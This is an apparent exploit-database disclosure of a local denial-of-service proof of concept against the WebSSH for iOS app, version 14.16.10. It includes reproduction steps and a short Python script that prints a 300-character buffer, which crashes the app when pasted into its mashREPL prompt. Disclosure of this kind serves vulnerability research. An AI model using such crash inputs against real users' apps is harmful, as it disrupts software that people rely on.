WebSSH for iOS 14.16.10 mashREPL Denial of Service (PoC)

2021.05.19
Credit: Luis Martinez
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) # Author: Luis Martinez # Discovery Date: 2021-05-18 # Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887 # Software Link: App Store for iOS devices # Tested Version: 14.16.10 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: iPhone 7 iOS 14.5.1 # Steps to Produce the Crash: # 1.- Run python code: WebSSH_for_iOS_14.16.10.py # 2.- Copy content to clipboard # 3.- Open "WebSSH for iOS" # 4.- Click -> Tools # 5.- Click -> mashREPL # 6.- Paste ClipBoard on "mashREPL>" # 7.- Intro # 8.- Crashed #!/usr/bin/env python buffer = "\x41" * 300 print (buffer)


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